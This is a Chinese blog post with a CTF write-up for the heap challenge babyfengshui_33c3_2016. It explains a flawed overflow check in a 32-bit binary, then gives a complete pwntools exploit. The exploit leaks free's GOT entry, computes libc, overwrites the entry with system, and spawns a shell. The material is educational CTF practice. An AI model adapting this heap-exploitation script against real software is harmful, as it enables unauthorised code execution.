【buu】babyfengshui_33c3_2016(详细题解)

2024-01-16 11:59

本文主要是介绍【buu】babyfengshui_33c3_2016(详细题解),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

  • 前言
  • 题解
  • 完整脚本
  • 总结

前言

这应该是到目前为止理解的最透彻的堆题了

题解

在这里插入图片描述
32位的程序,开了 Canary, Nx 保护
先放进IDA看看
在这里插入图片描述
又是个堆题,常规流程

先看 add 函数
首先申请了descriptionchunk ,接着又申请了一个0x80大小的 chunk
然后将 descriptionchunk 指针 放到第二个 chunk 中,
接着是一个指针数组 *(&ptr + byte_804b069) 存放第二个 chunk
接着是调用 get_name 函数输入 name
读入 124 字节到第二个 chunk 偏移为 4 的地方

在这里插入图片描述
get_name 函数对输入的 name 进行查找,如果里面有 10,则 将第二个 chunk 中存放 description chunk的指针置0
然后是 update 函数
在这里插入图片描述
首先是读入要修改的 description 长度,然后是一个 if 判断
如果 修改的长度 v3 + 指向description的指针 >= 指向name数组的指针 则返回失败
很显然这是一个防止堆溢出的判断
但是这种判断只基于 description 的堆块与 name 堆块地址相邻,所以可以利用堆的分配机制让这两个堆块分开,使其他的 chunk 分布在这两个堆块之间

delete函数先 free 了第二个 chunk 指向的 chunk 也就是第一个chunk
然后再 free 第二个chunk
接着把第二个 chunk 的指针置0,但是 descriptionchunk 指针没有置0

在这里插入图片描述
show函数显示数据
先打印出第二个 chunk 输入的 name 内容
然后打印出第一个 description chunk 里面的内容

先申请三个堆块,大小都是0x80

add(0x80,'nam1',0x80,'aaaa')
add(0x80,'nam2',0x80,'bbbb')
add(0x80,'nam3',0x80,'/bin/sh\x00')

在这里插入图片描述
生成了六个堆块
在这里插入图片描述
在这里可以看到堆块的结构,对快的先后顺序是 descriptino chunk0 ,name chunk0
现在释放我们申请的第一个堆块,description chunk0,和 name chunk 0,会合并为一个堆块
在这里插入图片描述
在这里插入图片描述
再申请一个新的 chunk0,大小为 0x100,系统后面自动申请 name chunk0的时候,unsortbin 里面的空闲堆块已经不满足要求,就要重新分配,而重新分配的 chunk0_name 则位于堆块尾部
在这里插入图片描述
在这里插入图片描述
查看最后一个堆块可以看到 chunk0_name 中存有 第一个堆块 chunk0_text 的地址
现在利用堆溢出到第一个堆块的 name chunk上,泄露 free 函数的地址,然后算出libc基址就可以得到system函数的地址了

payload = b'a'*0x108 + b'a'*0x08 + b'a'*0x80 + b'a'*0x08 + p32(free_got)
update(3,0x200,payload)

在这里插入图片描述
之前往第三个 chunk 里面写进了 /bin/sh\x00,现在只要把 free_got 替换为 system的地址,当我们在 free 掉第三个 chunk 的时候就会执行 system(‘/bin/sh’),获取shell

完整脚本

from pwn import*
context.log_level  = "debug"
elf = ELF('./pwn')
libc = ELF('./buulibc/libc-2.23.i386.so')
#io = remote('node4.buuoj.cn',26247)
io = process('./pwn')def add(size,name,length,text):io.recvuntil(b'Action: ')io.sendline(b'0')io.recvuntil(b'size of description: ')io.sendline(str(size))io.recvuntil(b'name: ')io.sendline(name)io.recvuntil(b'text length: ')io.sendline(str(length))io.recvuntil(b'text: ')io.sendline(text)
def delete(id):io.recvuntil(b'Action: ')io.sendline(b'1')io.recvuntil(b'index: ')io.sendline(str(id))
def show(id):io.recvuntil(b'Action: ')io.sendline(b'2')io.recvuntil(b'index: ')io.sendline(str(id))
def update(id,length,text):io.recvuntil(b'Action: ')io.sendline(b'3')io.recvuntil(b'index: ')io.sendline(str(id))io.recvuntil(b'text length: ')io.sendline(str(length))io.recvuntil(b'text: ')io.sendline(text)add(0x80,b'nam1',0x80,b'aaaa')
add(0x80,b'nam2',0x80,b'bbbb')
add(0x80,b'nam3',0x80,b'/bin/sh\x00')
delete(0)
add(0x100,b'name1',0x100,b'cccc') //申请新的 chunk id3
free_got = elf.got['free'] 
payload = b'a'*0x108 + b'a'*8 + b'a'*0x80 + b'a'*8 + p32(free_got)
update(3,0x200,payload) //在 name thunk1 里面写入 free_got 地址
show(1) //输出地址
io.recvuntil(b'description: ')
free_addr = u32(io.recv(4)) //接收free_got的地址
libc_base = free_addr - libc.sym['free'] //计算libc基址
system = libc_base + libc.sym['system'] //算出system地址
print(hex(system))update(1,0x80,p32(system)) // 写入system地址
delete(2)
#gdb.attach(io)
#pause()
io.interactive()

总结

我是菜鸡!

这篇关于【buu】babyfengshui_33c3_2016(详细题解)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/612533

相关文章

Java调用DeepSeek API的最佳实践及详细代码示例

《Java调用DeepSeekAPI的最佳实践及详细代码示例》:本文主要介绍如何使用Java调用DeepSeekAPI,包括获取API密钥、添加HTTP客户端依赖、创建HTTP请求、处理响应、... 目录1. 获取API密钥2. 添加HTTP客户端依赖3. 创建HTTP请求4. 处理响应5. 错误处理6.

Spring AI集成DeepSeek的详细步骤

《SpringAI集成DeepSeek的详细步骤》DeepSeek作为一款卓越的国产AI模型,越来越多的公司考虑在自己的应用中集成,对于Java应用来说,我们可以借助SpringAI集成DeepSe... 目录DeepSeek 介绍Spring AI 是什么?1、环境准备2、构建项目2.1、pom依赖2.2

Goland debug失效详细解决步骤(合集)

《Golanddebug失效详细解决步骤(合集)》今天用Goland开发时,打断点,以debug方式运行,发现程序并没有断住,程序跳过了断点,直接运行结束,网上搜寻了大量文章,最后得以解决,特此在这... 目录Bug:Goland debug失效详细解决步骤【合集】情况一:Go或Goland架构不对情况二:

Python itertools中accumulate函数用法及使用运用详细讲解

《Pythonitertools中accumulate函数用法及使用运用详细讲解》:本文主要介绍Python的itertools库中的accumulate函数,该函数可以计算累积和或通过指定函数... 目录1.1前言:1.2定义:1.3衍生用法:1.3Leetcode的实际运用:总结 1.1前言:本文将详

Deepseek R1模型本地化部署+API接口调用详细教程(释放AI生产力)

《DeepseekR1模型本地化部署+API接口调用详细教程(释放AI生产力)》本文介绍了本地部署DeepSeekR1模型和通过API调用将其集成到VSCode中的过程,作者详细步骤展示了如何下载和... 目录前言一、deepseek R1模型与chatGPT o1系列模型对比二、本地部署步骤1.安装oll

Spring Boot整合log4j2日志配置的详细教程

《SpringBoot整合log4j2日志配置的详细教程》:本文主要介绍SpringBoot项目中整合Log4j2日志框架的步骤和配置,包括常用日志框架的比较、配置参数介绍、Log4j2配置详解... 目录前言一、常用日志框架二、配置参数介绍1. 日志级别2. 输出形式3. 日志格式3.1 PatternL

Springboot 中使用Sentinel的详细步骤

《Springboot中使用Sentinel的详细步骤》文章介绍了如何在SpringBoot中使用Sentinel进行限流和熔断降级,首先添加依赖,配置Sentinel控制台地址,定义受保护的资源,... 目录步骤 1: 添加 Sentinel 依赖步骤 2: 配置 Sentinel步骤 3: 定义受保护的

本地私有化部署DeepSeek模型的详细教程

《本地私有化部署DeepSeek模型的详细教程》DeepSeek模型是一种强大的语言模型,本地私有化部署可以让用户在自己的环境中安全、高效地使用该模型,避免数据传输到外部带来的安全风险,同时也能根据自... 目录一、引言二、环境准备(一)硬件要求(二)软件要求(三)创建虚拟环境三、安装依赖库四、获取 Dee

MySql9.1.0安装详细教程(最新推荐)

《MySql9.1.0安装详细教程(最新推荐)》MySQL是一个流行的关系型数据库管理系统,支持多线程和多种数据库连接途径,能够处理上千万条记录的大型数据库,本文介绍MySql9.1.0安装详细教程,... 目录mysql介绍:一、下载 Mysql 安装文件二、Mysql 安装教程三、环境配置1.右击此电脑

Git提交代码详细流程及问题总结

《Git提交代码详细流程及问题总结》:本文主要介绍Git的三大分区,分别是工作区、暂存区和版本库,并详细描述了提交、推送、拉取代码和合并分支的流程,文中通过代码介绍的非常详解,需要的朋友可以参考下... 目录1.git 三大分区2.Git提交、推送、拉取代码、合并分支详细流程3.问题总结4.git push